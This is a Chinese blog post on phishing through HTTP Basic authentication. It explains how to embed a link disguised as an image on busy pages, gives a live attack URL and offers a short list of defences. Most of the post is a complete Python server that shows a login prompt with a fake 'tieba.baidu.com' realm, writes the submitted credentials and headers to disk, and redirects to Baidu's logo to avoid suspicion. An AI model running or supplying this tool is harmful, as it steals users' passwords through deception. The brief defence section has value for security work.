利用HTTP Basic认证进行钓鱼攻击的python脚本

代码片段: https://gist.github.com/lijiejie/d51f843563b732bf3907

1) 什么是HTTP Basic认证

HTTP Basic认证是由web服务器提供的,一种轻便的身份校验方式。

访问某些敏感资源时,服务器将要求输入账号、密码进行校验,通过之后才可继续访问,如下图所示:

http-basic-auth

2) 如何使用HTTP Basic认证钓鱼

最常见的一种攻击方式,是在访问量大、又能够插入第三方图片的页面中,插入由我们构造的超链接。

这样,当别人访问页面时,浏览器就可能弹出对话框来(Chrome不会触发、而其他浏览器多数可以)。

缺乏安全意识的用户可能会把自己的账号密码输入进去,被攻击者截获。

比如上述http://106.187.34.156:1234/img/baidu_logo.gif,背后实际是python实现的一个简单http服务器。

用户初次访问,它会提示用户键入账号。

而一旦提交,它会自动302重定向到百度的logo。同时,把用户输入的账号、密码,Referrer等信息截取。还标记一个Cookie,避免反复提醒用户输入造成对方的警觉。

3) 如何防御

防御可以从这几方面考虑:

  • 1) 不允许插入第三方图片,用户只能上传到本网站
  • 2) 插入时对图片的真实性和可访问性进行必要的检查(可能被攻击者绕过,先临时用真实图片,发布成功再设置basic认证)
  • 3) 把第三方图片远程下载保存到本地服务器上,会增加成本

4) Python伪造一个401服务器

#encoding=utf-8

import SimpleHTTPServer
import SocketServer
import time


class RequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    def do_GET(self):
        if str(self.headers).find('UserLogin=1') > 0:    # 用户已记录,跳转
            self.send_response(302)
            self.send_header('Location','http://www.baidu.com/img/bdlogo.gif')
            self.end_headers()
        else:
            if str(self.headers).find('Authorization: Basic ') > 0:    # 保存账号密码和Referrer
                self.send_response(302)
                self.send_header('Set-Cookie', 'UserLogin=1')
                self.send_header('Location','http://www.baidu.com/img/bdlogo.gif')
                with open('data\\' + time.asctime().replace(':', ' ') + '.txt', 'w') as f:
                    f.write(str(self.headers))
            else:
                self.send_response(401)
                self.send_header('Content-type','text/html; charset=UTF-8')
                self.send_header('WWW-Authenticate', 'Basic realm="Session Out Of Date, Please Login again [tieba.baidu.com]"')
                self.end_headers()
        
PORT = 1234
httpd = SocketServer.TCPServer(("", PORT), RequestHandler)
print "serving at port", PORT
httpd.serve_forever()

发表评论

您的电子邮箱地址不会被公开。